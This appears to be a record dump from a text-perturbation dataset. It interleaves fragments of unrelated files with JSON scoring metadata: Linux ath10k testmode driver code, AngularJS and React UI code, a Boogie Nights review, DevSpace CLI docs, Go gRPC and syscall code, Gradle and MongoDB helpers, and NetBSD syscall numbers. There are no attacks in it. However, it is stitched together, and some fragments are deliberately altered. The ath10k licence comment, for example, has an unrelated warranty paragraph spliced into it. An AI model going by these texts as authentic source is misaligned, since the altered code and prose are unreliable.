"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
* Copyright (c) 2014 Qualcomm Atheros, Inc.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
* Returns false if skb is not used. Does not sleep.
*/
bool ath10k_tm_event_wmi(struct ath10k *ar, u32 cmd_id, struct sk_buff *skb)
{
struct sk_buff *nl_skb;
bool consumed;
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE,
"testmode event wmi cmd_id %d skb %p skb->len %d\n",
cmd_id, skb, skb->len);
ath10k_dbg_dump(ar, ATH10K_DBG_TESTMODE, NULL, "", skb->data, skb->len);
spin_lock_bh(&ar->data_lock);
if (!ar->testmode.utf_monitor) {
consumed = false;
goto out;
}
/* Only testmode.c should be handling events from utf firmware,
* otherwise all sort of problems will arise as mac80211 operations
* are not initialised.
*/
consumed = true;
nl_skb = cfg80211_testmode_alloc_event_skb(ar->hw->wiphy,
2 * sizeof(u32) + skb->len,
GFP_ATOMIC);
if (!nl_skb) {
ath10k_warn(ar,
"failed to allocate skb for testmode wmi event\n");
goto out;
}
ret = nla_put_u32(nl_skb, ATH10K_TM_ATTR_CMD, ATH10K_TM_CMD_WMI);
if (ret) {
ath10k_warn(ar,
"failed to to put testmode wmi event cmd attribute: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
ret = nla_put_u32(nl_skb, ATH10K_TM_ATTR_WMI_CMDID, cmd_id);
if (ret) {
ath10k_warn(ar,
"failed to to put testmode wmi even cmd_id: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
ret = nla_put(nl_skb, ATH10K_TM_ATTR_DATA, skb->len, skb->data);
if (ret) {
ath10k_warn(ar,
"failed to copy skb to testmode wmi event: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
cfg80211_testmode_event(nl_skb, GFP_ATOMIC);
out:
spin_unlock_bh(&ar->data_lock);
return consumed;
}
static int ath10k_tm_cmd_get_version(struct ath10k *ar, struct nlattr *tb[])
{
struct sk_buff *skb;
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE,
"testmode cmd get version_major %d version_minor %d\n",
ATH10K_TESTMODE_VERSION_MAJOR,
ATH10K_TESTMODE_VERSION_MINOR);
skb = cfg80211_testmode_alloc_reply_skb(ar->hw->wiphy,
nla_total_size(sizeof(u32)));
if (!skb)
return -ENOMEM;
ret = nla_put_u32(skb, ATH10K_TM_ATTR_VERSION_MAJOR,
ATH10K_TESTMODE_VERSION_MAJOR);
if (ret) {
kfree_skb(skb);
return ret;
}
ret = nla_put_u32(skb, ATH10K_TM_ATTR_VERSION_MINOR,
ATH10K_TESTMODE_VERSION_MINOR);
if (ret) {
kfree_skb(skb);
return ret;
}
return cfg80211_testmode_reply(skb);
}
static int ath10k_tm_cmd_utf_start(struct ath10k *ar, struct nlattr *tb[])
{
char filename[100];
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE, "testmode cmd utf start\n");
mutex_lock(&ar->conf_mutex);
if (ar->state == ATH10K_STATE_UTF) {
ret = -EALREADY;
goto err;
}
/* start utf only when the driver is not in use */
if (ar->state != ATH10K_STATE_OFF) {
ret = -EBUSY;
goto err;
}
if (WARN_ON(ar->testmode.utf != NULL)) {
/* utf image is already downloaded, it shouldn't be */
ret = -EEXIST;
goto err;
}
snprintf(filename, sizeof(filename), "%s/%s",
ar->hw_params.fw.dir, ATH10K_FW_UTF_FILE);
/* load utf firmware image */
ret = request_firmware(&ar->testmode.utf, filename, ar->dev);
if (ret) {
ath10k_warn(ar, "failed to retrieve utf firmware '%s': %d\n",
filename, ret);
goto err;
}
spin_lock_bh(&ar->data_lock);
ar->testmode.utf_monitor = true;
spin_unlock_bh(&ar->data_lock);
BUILD_BUG_ON(sizeof(ar->fw_features) !=
sizeof(ar->testmode.orig_fw_features));
memcpy(ar->testmode.orig_fw_features, ar->fw_features,
sizeof(ar->fw_features));
/* utf.bin firmware image does not advertise firmware features. Do
* an ugly hack where we force the firmware features so that wmi.c
* will use the correct WMI interface.
*/
memset(ar->fw_features, 0, sizeof(ar->fw_features));
__set_bit(ATH10K_FW_FEATURE_WMI_10X, ar->fw_features);
ret = ath10k_hif_power_up(ar);
if (ret) {
ath10k_err(ar, "failed to power up hif (testmode): %d\n
| null | 1
|
{
"advantage_score_max": 1.2172504663467407,
"advantage_score_mean": 1.2172504663467407,
"advantage_score_min": 1.2172504663467407,
"advantage_score_std": 0,
"advantage_scores": [
1.2172504663467407
],
"baseline_doc_loss": 0.7385242581367493,
"baseline_truncated": false,
"doc_advantage_score": 1.460249423980713,
"length_change_ratio": 0.732484076433121,
"net_length_change_chars": -168,
"original_sentences_length_chars": 628,
"replacement_paraphrases_length_chars": 460,
"sentences_perturbed": 1,
"target_doc_loss": 0.5057521462440491,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 5270,
"total_sentences": 10,
"truncated": false
}
|
angular.module('platformWebApp')
.factory('platformWebApp.toolbarService', function () {
var toolbarCommandsMap = [];
return {
register: function (toolbarItem, toolbarController) {
var map = toolbarCommandsMap;
if (!map[toolbarController]) {
map[toolbarController] = [];
}
map[toolbarController].push(toolbarItem);
map[toolbarController].sort(function (a, b) {
return a.index - b.index;
});
},
tryRegister: function (toolbarItem, toolbarController) {
var map = toolbarCommandsMap;
if (!map[toolbarController] || !_.findWhere(map[toolbarController], { name: toolbarItem.name })) {
this.register(toolbarItem, toolbarController);
}
},
resolve: function (bladeCommands, toolbarController) {
var externalCommands = toolbarCommandsMap[toolbarController];
if (externalCommands) {
bladeCommands = angular.copy(bladeCommands || []);
_.each(externalCommands, function (newCommand) {
var overrideIndex = _.findIndex(bladeCommands, function (bladeCommand) {
return bladeCommand.name === newCommand.name;
});
var deleteCount = overrideIndex >= 0 ? 1 : 0;
overrideIndex = overrideIndex >= 0 ? overrideIndex : newCommand.index;
bladeCommands.splice(overrideIndex, deleteCount, newCommand);
});
}
return bladeCommands;
}
};
})
.directive('vaBladeContainer', ['platformWebApp.bladeNavigationService', function (bladeNavigationService) {
return {
restrict: 'E',
replace: true,
templateUrl: '$(Platform)/Scripts/app/navigation/blade/bladeContainer.tpl.html',
link: function (scope) {
scope.blades = bladeNavigationService.stateBlades();
}
}
}])
.directive('vaBlade', ['$compile', 'platformWebApp.bladeNavigationService', 'platformWebApp.toolbarService', '$timeout', '$document', 'platformWebApp.dialogService', function ($compile, bladeNavigationService, toolbarService, $timeout, $document, dialogService) {
return {
terminal: true,
priority: 100,
link: function (scope, element) {
element.attr('ng-controller', scope.blade.controller);
element.attr('id', scope.blade.id);
element.attr('ng-model', "blade");
element.removeAttr("va-blade");
$compile(element)(scope);
scope.blade.$scope = scope;
var mainContent = $('.cnt');
var currentBlade = $(element).parent();
var parentBlade = currentBlade.prev();
if (!scope.blade.disableOpenAnimation) {
scope.blade.animated = true;
$timeout(function () {
scope.blade.animated = false;
}, 250);
}
function scrollContent(scrollToBlade, scrollToElement) {
if (!scrollToBlade) {
scrollToBlade = scope.blade;
}
if (!scrollToElement) {
scrollToElement = currentBlade;
}
// we can't just get current blade position (because of animation) or calculate it
// via parent position + parent width (because we may open parent and child blade at the same time)
// instead, we need to use sum of width of all blades
var previousBlades = scrollToElement.prevAll();
var previousBladesWidthSum = 0;
previousBlades.each(function () {
previousBladesWidthSum += $(this).outerWidth();
});
var scrollLeft = previousBladesWidthSum + scrollToElement.outerWidth(!(scrollToBlade.isExpanded || scrollToBlade.isMaximized)) - mainContent.width();
mainContent.animate({ scrollLeft: (scrollLeft > 0 ? scrollLeft : 0) }, 500);
}
var updateSize = function () {
var contentBlock = currentBlade.find(".blade-content");
var containerBlock = currentBlade.find(".blade-container");
var bladeWidth = "";
var bladeMinWidth = "";
if ((scope.blade.isExpandable && scope.blade.isExpanded) || (!scope.blade.isExpandable && scope.blade.isMaximized)) {
// minimal required width + container padding
bladeMinWidth = 'calc(' + contentBlock.css("min-width") + ' + ' + parseInt(containerBlock.outerWidth() - containerBlock.width()) + 'px)';
}
if (scope.blade.isExpandable && scope.blade.isExpanded) {
var offset = parentBlade.length > 0 ? parentBlade.width() : 0;
// free space of view - parent blade size (if exist)
bladeWidth = 'calc(100% - ' + offset + 'px)';
} else if (!scope.blade.isExpandable && scope.blade.isMaximized) {
currentBlade.attr('data-width', currentBlade.outerWidth());
bladeWidth = '100%';
}
currentBlade.width(bladeWidth);
currentBlade.css('min-width', bladeMinWidth);
setVisibleToolsLimit();
}
scope.$watch('blade.isExpanded', function () {
// we must recalculate position only at next digest cycle,
// because at this time blade UI is not fully (re)initialized
// for example, ng-class set classes after this watch called
$timeout(updateSize, 0, false);
});
scope.$on('$includeContentLoaded', function (event, src) {
if (src === scope.blade.template) {
// see above
$timeout(function () {
updateSize();
scrollContent();
}, 0, false);
}
});
scope.bladeMaximize = function () {
scope.blade.isMaximized = true;
updateSize();
scrollContent();
};
scope.bladeMinimize = function () {
scope.blade.isMaximized = false;
updateSize();
};
scope.bladeClose = function (onAfterClose) {
bladeNavigationService.closeBlade(scope.blade, onAfterClose, function (callback) {
scope.blade.animated = true;
scope.blade.closing = true;
$timeout(function () {
currentBlade.remove();
scrollContent(scope.blade.parentBlade, parentBlade);
callback();
}, 125, false);
});
};
scope.$watch('blade.toolbarCommands', function (toolbarCommands) {
scope.resolvedToolbarCommands = toolbarService.resolve(toolbarCommands, scope.blade.controller);
setVisibleToolsLimit();
}, true);
var toolbar = currentBlade.find(".blade-toolbar .menu.__inline");
function setVisibleToolsLimit() {
scope.toolsPerLineCount = scope.resolvedToolbarCommands ? scope.resolvedToolbarCommands.length : 1;
$timeout(function () {
if (toolbar.height() > 55 && scope.toolsPerLineCount > 1) {
var maxToolbarWidth = toolbar.width() - 46; // the 'more' button is 46px wide
//console.log(toolbar.width() + 'maxToolbarWidth: ' + maxToolbarWidth);
var toolsWidth = 0;
var lis = toolbar.find("li");
var i = 0;
while (maxToolbarWidth > toolsWidth && lis.length > i) {
toolsWidth += lis[i].clientWidth;
i++;
}
scope.toolsPerLineCount = i - 1;
}
}, 220);
}
function handleClickEvent() {
setVisibleToolsLimit();
$document.unbind('click', handleClickEvent);
}
scope.showMoreTools = function (event) {
scope.toolsPerLineCount = scope.resolvedToolbarCommands.length;
event.stopPropagation();
$document.bind('click', handleClickEvent);
| null | 0
|
{
"advantage_score_max": 1.4004430770874023,
"advantage_score_mean": 1.259657382965088,
"advantage_score_min": 1.1188715696334839,
"advantage_score_std": 0.14078575372695923,
"advantage_scores": [
1.4004430770874023,
1.1188715696334839
],
"baseline_doc_loss": 1.030408263206482,
"baseline_truncated": false,
"doc_advantage_score": 1.0345131158828735,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.9960320591926575,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 9362,
"total_sentences": 7,
"truncated": false
}
|
import React, {useEffect, useState} from "react";
import {AutoComplete, Button, Cascader, Col, Form, Input, message, Modal, Row, Space, Switch, Tag} from "antd";
import {Select} from "antd/es";
import {Store} from "rc-field-form/lib/interface"
import {fetchWorkerZones} from "@/services/testplatform";
import {WorkerZone} from "@/models/testplatform/types";
import {fetchCollections} from "@/services/httptest";
import {MinusCircleOutlined, PlusOutlined} from "@ant-design/icons/lib";
import {fetchServiceMethodTree} from "@/services/grpctest";
import {grpcAddrList} from "@/services/app";
interface ModalCreatePipelineProps {
visible: boolean
onFinish: (fields: Store) => void
onCancel: () => void
env: string
zoneCode: string
appName: string
}
interface GrpcAddr {
port: string,
hosts: {
env: string
addr: string
}[]
}
const formItemLayout = {
labelCol: {
xs: {span: 24},
sm: {span: 4},
},
wrapperCol: {
xs: {span: 24},
sm: {span: 20},
},
};
const formItemLayoutWithOutLabel = {
wrapperCol: {
xs: {span: 24, offset: 0},
sm: {span: 20, offset: 4},
},
};
export default function ModalCreatePipeline(props: ModalCreatePipelineProps) {
const {visible, env, zoneCode, appName} = props
const [form] = Form.useForm()
const [workerZones, setWorkerZones] = useState<WorkerZone[]>([])
const [httpCollections, setHttpCollections] = useState<{ id: number, name: string, test_cases: any[] }[]>([])
const [grpcTestFlag, setGrpcTestFlag] = useState(false)
const [services, setServices] = useState([])
const [testCases, setTestCases] = useState({}) // service -> test cases
const [grpcAddr, setGrpcAddr] = useState<GrpcAddr | null>(null)
useEffect(() => {
if (visible) {
grpcAddrList({app_name: appName}).then(r => {
setGrpcAddr(r.data)
})
fetchServiceMethodTree(appName).then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error(r.msg)
return
}
setServices(r.data)
})
}
}, [visible])
useEffect(() => {
fetchWorkerZones().then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error("加载 Worker 节点失败 " + r.msg)
return
}
setWorkerZones(r.data)
})
}, [])
useEffect(() => {
form.setFieldsValue({
env: env,
zone_code: zoneCode === 'all' ? null : zoneCode,
app_name: appName,
unit_test: true,
code_check: true
})
fetchCollections(appName).then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error(r.msg)
return
}
setHttpCollections(r.data.list || [])
})
}, [env, zoneCode, appName])
const testCaseCascadeOptions = services?.map((item: any, index: number) => {
return {
value: item.id,
label: item.name,
children: item.methods?.map((method: any) => ({
value: method.id,
label: method.name,
children: method.use_cases?.map((useCase: any) => ({
value: useCase.id,
label: useCase.name
})) || []
}))
}
}) || []
return <Modal
title={"创建 Pipeline"}
visible={visible}
onOk={() => form.submit()}
onCancel={props.onCancel}
width={grpcTestFlag ? "900px" : "500px"}
>
<Form
form={form}
onFinish={props.onFinish}
>
<Row gutter={15}>
<Col span={grpcTestFlag ? 10 : 24}>
<Form.Item label={"Env"} name={"env"}>
<Input disabled/>
</Form.Item>
<Form.Item label={"App"} name={"app_name"}>
<Input disabled/>
</Form.Item>
<Form.Item
label={"名称"}
name={"name"}
rules={[
{required: true, message: "请输入 Pipeline 名称"},
{pattern: /^[a-zA-Z0-9_-]{4,32}$/, message: 'Pipeline名称只能为 a-zA-Z0-9_- 组合,长度为 4 - 32 位'}
]}
>
<Input/>
</Form.Item>
<Form.Item
label={"代码分支"}
name={"branch"}
rules={[
{required: true, message: '请输入代码分支'}
]}
>
<Input/>
</Form.Item>
<Form.Item
label={"机房"} name={"zone_code"}
rules={[
{required: true, message: "请选择机房"}
]}
>
<Select disabled={zoneCode !== 'all'}>
{workerZones.map((item, id) => <Select.Option key={id}
value={item.zone_code}>{item.zone_name}</Select.Option>)}
</Select>
</Form.Item>
<Form.Item label={"Http测试集合(可选)"} name={"http_test_collection"}>
<Select allowClear>
{httpCollections.map((item, idx) => <Select.Option value={item.id} key={idx}>
{item.name}({item.test_cases.length}个用例)
</Select.Option>)}
</Select>
</Form.Item>
<Form.Item label={"单元测试"} name={"unit_test"} valuePropName={"checked"}>
<Switch/>
</Form.Item>
<Form.Item label={"静态检查"} name={"code_check"} valuePropName={"checked"}>
<Switch/>
</Form.Item>
<Form.Item label={"GRPC接口测试"}>
<Switch onChange={val => {
setGrpcTestFlag(val)
form.setFieldsValue({
grpc_test_cases: val ? [{}] : []
})
}}/>
</Form.Item>
</Col>
{/*GRPC 测试用例*/}
{grpcTestFlag && <Col span={14}>
<Form.Item label={"GRPC服务地址"} name={"grpc_test_addr"}>
<AutoComplete placeholder={"1.2.3.4:1234"}>
{grpcAddr && grpcAddr.hosts?.map((item, idx) => <AutoComplete.Option
value={item.addr + ':' + grpcAddr.port}>
<Tag>{item.env}</Tag> {item.addr} : {grpcAddr.port}
</AutoComplete.Option>)}
</AutoComplete>
</Form.Item>
<Form.List name={"grpc_test_cases"}>
{(fields, {add, remove}) => {
return <div>
{fields.map((field, index) => {
return <Form.Item
{...(index === 0 ? formItemLayout : formItemLayoutWithOut
| null | 0
|
{
"advantage_score_max": 1.1772733926773071,
"advantage_score_mean": 1.1772733926773071,
"advantage_score_min": 1.1772733926773071,
"advantage_score_std": 0,
"advantage_scores": [
1.1772733926773071
],
"baseline_doc_loss": 0.7211744785308838,
"baseline_truncated": false,
"doc_advantage_score": 0.8127976655960083,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.8872743248939514,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 6294,
"total_sentences": 6,
"truncated": false
}
|
one way of telling if a film is good or not is by the length .
if a film is only 90 minutes , but feels like 300 minutes , then it's crap .
but if a film last 2 1/2 hours , and feels like 90 minutes , then it's excellent .
boogie nights falls into the latter catagory .
the director , anderson , delivers a funny , hip , yet sometimes violent film , which flies along .
mark whalberg , a . k . a
marky mark , plays eddie adams , a seventeen year old with a certain 'gift' in the midriff area .
jack horner ( reynolds ) is a adult film director , who decides that eddie would be great in the adult movie business .
after running away from home , eddie joins jack , changes his name to dirk diggler , and starts making erotic movies .
in the movie business , dirk meets a whole load of characters ( which the film introduces very quickly and slickly ) such as scotty ( phillip seymour hoffman ) , rollergirl ( graham ) amber ( moore ) and floyd ( phillip baker hall ) , and little bill ( william h . macy ) all the characters are well written , well played , and the audience gets to know them pretty well , thanks to the excellent script .
we learn about ambers grief about not being able to see her child due to a divorce , rollergirls hard time at school , and little bills wife , who sleeps with everyone except her husband .
but the best thing about the excellent boogie nights is paul andersons direction and writing .
the direction is fast , thrilling , and never holds up .
there are some great shots , some lovely steadiocam and handheld camera sequences , and lots of other neat directional touches .
the writing is fabulous , with some intelligent dialogue , some funny dialogue , but none of the dialogue is crap , like most hollywood films ( such as the lost world : jurassic park ( 1997 ) , or tommorow never dies ( 1997 ) . )
boogie nights really is a spectacular feat of direction and writing , on par ( and sometimes betters ) quentin tarantino's films resevoir dogs ( 1992 ) and pulp fiction ( 1994 )
the soundtrack is also excellent .
like american graffiti ( 1973 ) , the film features some great old songs on the soundtrack , which heightens the atmosphere , and gives the film an extra lift .
also , the costumes are great .
the clothes really do look like what people wore in the seventies and eighties .
the film , although excellent , does have some flaws .
firstly , wahlberg , although excellent , cannot do highly scenes which require him to be angry .
in both scenes where he has to act angry , his acting is so 'off' , the scenes tension and anger is lost .
but the rest of the cast are excellent .
burt reynolds is brilliant , julianne moore shows real emotion , and william h . macy is great aswell ( but he always is . )
another flaw with the film , though , is that the ending seems a bit tacked on .
it seems anderson saw the film was going on a bit , and needed to wrap up quickly .
it's a shame , really , as the rest of the film is perfectly paced .
but they're small niggles really .
boogie nights is a great movie.
superb directing , writing , acting and music , all combine to make one spectacular film .
whatever you do , do not miss out on boogie nights .
| null | 1
|
{
"advantage_score_max": 2.7732412815093994,
"advantage_score_mean": 1.6445270776748657,
"advantage_score_min": 1.1363933086395264,
"advantage_score_std": 0.5332701206207275,
"advantage_scores": [
2.7732412815093994,
2.3672971725463867,
1.6687747240066528,
1.5778669118881226,
1.5556539297103882,
1.2774173021316528,
1.2299978733062744,
1.21410071849823,
1.1363933086395264
],
"baseline_doc_loss": 2.045738697052002,
"baseline_truncated": false,
"doc_advantage_score": 0.904080331325531,
"length_change_ratio": 0.8611111111111112,
"net_length_change_chars": -5,
"original_sentences_length_chars": 36,
"replacement_paraphrases_length_chars": 31,
"sentences_perturbed": 1,
"target_doc_loss": 2.262784242630005,
"target_truncated": false,
"threshold_passing_sentences": 9,
"total_doc_length_chars": 3234,
"total_sentences": 34,
"truncated": false
}
|
---
title: "Command - devspace list teams"
sidebar_label: devspace list teams
---
the "loft" plugin
## Synopsis
```
devspace list teams [flags]
```
```
the "loft" plugin
```
## Flags
```
-h, --help help for teams
```
## Global & Inherited Flags
```
--config string The devspace config file to use
--debug Prints the stack trace if an error occurs
--kube-context string The kubernetes context to use
-n, --namespace string The kubernetes namespace to use
--no-warn If true does not show any warning when deploying into a different namespace or kube-context than before
-p, --profile string The devspace profile to use (if there is any)
--silent Run in silent mode and prevents any devspace log output except panics & fatals
-s, --switch-context Switches and uses the last kube context and namespace that was used to deploy the DevSpace project
--var strings Variables to override during execution (e.g. --var=MYVAR=MYVALUE)
```
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build linux && !gccgo
package unix
// SyscallNoError is like Syscall but for syscalls that cannot fail.
func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
// RawSyscallNoError may be used instead of RawSyscall for syscalls that don't
// fail.
func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
| null | 2
|
{
"advantage_score_max": 9.014954566955566,
"advantage_score_mean": 5.305875301361084,
"advantage_score_min": 1.5967961549758911,
"advantage_score_std": 3.7090792655944824,
"advantage_scores": [
9.014954566955566,
1.5967961549758911
],
"baseline_doc_loss": 0.6911391019821167,
"baseline_truncated": false,
"doc_advantage_score": 6.488509178161621,
"length_change_ratio": 0.9558823529411765,
"net_length_change_chars": -6,
"original_sentences_length_chars": 136,
"replacement_paraphrases_length_chars": 130,
"sentences_perturbed": 2,
"target_doc_loss": 0.10651739686727524,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 495,
"total_sentences": 6,
"truncated": false
}
|
package main
import (
"context"
"io"
"log"
"net"
"google.golang.org/grpc/reflection"
"google.golang.org/grpc"
hs "../HelloService"
)
type HelloServiceImpl struct{}
func (p *HelloServiceImpl) Hello(
ctx context.Context, args *hs.String,
) (*hs.String, error) {
reply := &hs.String{Value: "hello:" + args.GetValue()}
return reply, nil
}
//grpc stream
func (p *HelloServiceImpl) Channel(stream hs.HelloService_ChannelServer) error {
for {
args, err := stream.Recv()
if err != nil {
if err == io.EOF {
return nil
}
return err
}
reply := &hs.String{Value: "hello:" + args.GetValue()}
err = stream.Send(reply)
if err != nil {
return err
}
}
}
func main() {
grpcServer := grpc.NewServer()
hs.RegisterHelloServiceServer(grpcServer, new(HelloServiceImpl))
//Register reflection service on gRPC server.
reflection.Register(grpcServer)
lis, err := net.Listen("tcp", ":1234")
if err != nil {
log.Fatal(err)
}
grpcServer.Serve(lis)
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-2.4-all.zip
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package mongokit
import (
"fmt"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
)
const testDB = "test-lungo-mongokit"
var testMongoClient *mongo.Client
var testCollCounter = 0
func init() {
mongoClient, err := mongo.Connect(nil, options.Client().ApplyURI("mongodb://localhost"))
if err != nil {
panic(err)
}
err = mongoClient.Database(testDB).Drop(nil)
if err != nil {
panic(err)
}
testMongoClient = mongoClient
}
func testCollection() *mongo.Collection {
testCollCounter++
name := fmt.Sprintf("n-%d", testCollCounter)
return testMongoClient.Database(testDB).Collection(name)
}
func convertArray(array []interface{}) bson.A {
a := make(bson.A, 0, len(array))
for _, item := range array {
if arr, ok := item.([]interface{}); ok {
item = convertArray(arr)
}
a = append(a, item)
}
return a
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build 386,netbsd
package unix
const (
SYS_EXIT = 1 // { void|sys||exit(int rval); }
SYS_FORK = 2 // { int|sys||fork(void); }
SYS_READ = 3 // { ssize_t|sys||read(int fd, void *buf, size_t nbyte); }
SYS_WRITE = 4 // { ssize_t|sys||write(int fd, const void *buf, size_t nbyte); }
SYS_OPEN = 5 // { int|sys||open(const char *path, int flags, ... mode_t mode); }
SYS_CLOSE = 6 // { int|sys||close(int fd); }
SYS_LINK = 9 // { int|sys||link(const char *path, const char *link); }
SYS_UNLINK = 10 // { int|sys||unlink(const char *path); }
SYS_CHDIR = 12 // { int|sys||chdir(const char *path); }
SYS_FCHDIR = 13 // { int|sys||fchdir(int fd); }
SYS_CHMOD = 15 // { int|sys||chmod(const char *path, mode_t mode); }
SYS_CHOWN = 16 // { int|sys||chown(const char *path, uid_t uid, gid_t gid); }
SYS_BREAK = 17 // { int|sys||obreak(char *nsize); }
SYS_GETPID = 20 // { pid_t|sys||getpid_with_ppid(void); }
SYS_UNMOUNT = 22 // { int|sys||unmount(const char *path, int flags); }
SYS_SETUID = 23 // { int|sys||setuid(uid_t uid); }
SYS_GETUID = 24 // { uid_t|sys||getuid_with_euid(void); }
SYS_GETEUID = 25 // { uid_t|sys||geteuid(void); }
SYS_PTRACE = 26 // { int|sys||ptrace(int req, pid_t pid, void *addr, int data); }
SYS_RECVMSG = 27 // { ssize_t|sys||recvmsg(int s, struct msghdr *msg, int flags); }
SYS_SENDMSG = 28 // { ssize_t|sys||sendmsg(int s, const struct msghdr *msg, int flags); }
SYS_RECVFROM = 29 // { ssize_t|sys||recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
SYS_ACCEPT = 30 // { int|sys||accept(int s, struct sockaddr *name, socklen_t *anamelen); }
SYS_GETPEERNAME = 31 // { int|sys||getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
SYS_GETSOCKNAME = 32 // { int|sys||getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
SYS_ACCESS = 33 // { int|sys||access(const char *path, int flags); }
SYS_CHFLAGS = 34 // { int|sys||chflags(const char *path, u_long flags); }
SYS_FCHFLAGS = 35 // { int|sys||fchflags(int fd, u_long flags); }
SYS_SYNC = 36 // { void|sys||sync(void); }
SYS_KILL = 37 // { int|sys||kill(pid_t pid, int signum); }
SYS_GETPPID = 39 // { pid_t|sys||getppid(void); }
SYS_DUP = 41 // { int|sys||dup(int fd); }
SYS_PIPE = 42 // { int|sys||pipe(void); }
SYS_GETEGID = 43 // { gid_t|sys||getegid(void); }
SYS_PROFIL = 44 // { int|sys||profil(char *samples, size_t size, u_long offset, u_int scale); }
SYS_KTRACE = 45 // { int|sys||ktrace(const char *fname, int ops, int facs, pid_t pid); }
SYS_GETGID = 47 // { gid_t|sys||getgid_with_egid(void); }
SYS___GETLOGIN = 49 // { int|sys||__getlogin(char *namebuf, size_t namelen); }
SYS___SETLOGIN = 50 // { int|sys||__setlogin(const char *namebuf); }
SYS_ACCT = 51 // { int|sys||acct(const char *path); }
